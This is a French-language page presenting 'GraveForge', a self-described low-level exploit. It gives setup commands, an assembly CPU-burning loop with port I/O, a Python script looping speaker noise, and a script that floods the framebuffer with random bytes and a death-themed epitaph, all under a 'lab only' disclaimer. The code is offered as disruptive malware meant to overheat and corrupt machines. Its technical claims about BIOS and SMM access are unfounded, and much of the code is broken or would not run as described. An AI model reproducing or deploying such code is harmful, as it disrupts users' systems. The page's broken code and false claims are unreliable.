💀 GraveForge – La Forge des Tombes

Un exploit bas niveau qui enterre les machines dans un chaos calculé – chaleur, bruit, corruption – avec un épitaphe brut : "GraveForge t’a forgé une tombe. Sors si tu peux." Codé en assembleur, complexe, unique.

SOMMAIRE

1️⃣ INTRODUCTION

GraveForge, c’est la mort numérique codée en brut. On s’attaque au BIOS, aux registres, à la RAM, et on force la machine à s’enterrer dans un cycle infernal – chaleur qui monte, bruit qui gronde, données qui pourrissent. Un épitaphe s’affiche, un rituel la libère. C’est complexe, c’est unique, c’est platon-y.

⚠️ LAB ONLY : Réversible, zéro dégât permanent !

La tombe forge l’histoire !

2️⃣ SETUP – L’ATELIER

INSTALLATION


sudo apt update && sudo apt install nasm gcc python3 qemu-system-x86
                    

Vérifie : nasm -v, qemu-system-x86_64 -version.


mkdir /platon-y/GraveForge && cd /platon-y/GraveForge
                    

3️⃣ FORGE 1 – ASM DU CHAOS

Style : Assembleur qui sature CPU/RAM.


; gravechaos.asm
section .text
global _start

_start:
    ; Accès ring 0 via syscall (simulé en lab)
    mov eax, 0x80       ; Interrupt pour SMM ou syscall
    int 0x80            ; Simule privilège bas niveau

chaos_loop:
    rdtsc               ; Lire timestamp counter (entropie)
    mov ebx, eax        ; Sauver valeur basse
    xor eax, edx        ; Chaos via XOR
    mov ecx, 0xFFFFF    ; Boucle lourde
burn:
    mul eax             ; Calcul inutile pour chauffer
    loop burn           ; Brûler CPU
    mov edx, 0x3F8      ; Port série (ou autre I/O)
    out dx, al          ; Sortie bruitée

    ; Vérifier rituel (ex: Ctrl+Alt+Shift)
    in al, 0x64         ; Lire port clavier
    cmp al, 0xE0        ; Code rituel
    je escape           ; Si rituel, sortir
    jmp chaos_loop      ; Sinon, continuer

escape:
    mov eax, 1          ; Exit syscall
    int 0x80

section .data
    epitaph db "GraveForge t’a forgé une tombe.", 0
                    

Compilation : nasm -f elf64 gravechaos.asm -o gravechaos.o && gcc -nostdlib gravechaos.o -o gravechaos
Détails :
- Boucle chaotique sur CPU.
- Sortie I/O pour bruit.
- Rituel pour sortir.
Test : qemu-system-x86_64 -kernel gravechaos

4️⃣ FORGE 2 – TOMBE SONORE

Style : Script qui force le haut-parleur.


# gravesound.py
import os
import time

def tomb_sound():
    while True:
        # Écrire directement dans /dev/dsp (ou ALSA)
        os.system("echo -ne '\xFF\x00' > /dev/dsp")  # Bruit brut
        temp = os.popen("cat /sys/class/thermal/thermal_zone0/temp").read()
        freq = int(temp) // 1000  # Température en kHz
        os.system(f"speaker-test -f {freq} -t sine -l 1 &")
        time.sleep(0.1)

if __name__ == "__main__":
    tomb_sound()
                    

Lancement : sudo python3 gravesound.py
Détails :
- Bruit via /dev/dsp ou ALSA.
- Fréquence via température CPU.
Effet : Grondement infernal.

5️⃣ FORGE 3 – ÉPITAPHE VISUELLE

Style : Corruption frame buffer.


# gravevisual.py
import os
import random

def tomb_visual():
    fb = "/dev/fb0"  # Frame buffer
    with open(fb, "wb") as f:
        while True:
            f.write(bytes([random.randint(0, 255) for _ in range(1024)]))
            f.write(b"GraveForge t’a forgé une tombe.")
            os.sync()

if __name__ == "__main__":
    tomb_visual()
                    

Lancement : sudo python3 gravevisual.py
Détails :
- Écriture directe dans frame buffer.
- Corruption visuelle + épitaphe.
Effet : Écran qui hurle la mort.

6️⃣ DÉPLOIEMENT – ENTERRER LE LAB

Rituel : Ctrl+Alt+Shift pour sortir.
Lab : Branche l’USB, écoute, regarde – un cimetière naît.

7️⃣ CONCLUSION

Trois tombes :

GraveForge, c’est la mort codée - complexe, réalisable, historique. Made in - Platon-y enterre tout ! 💀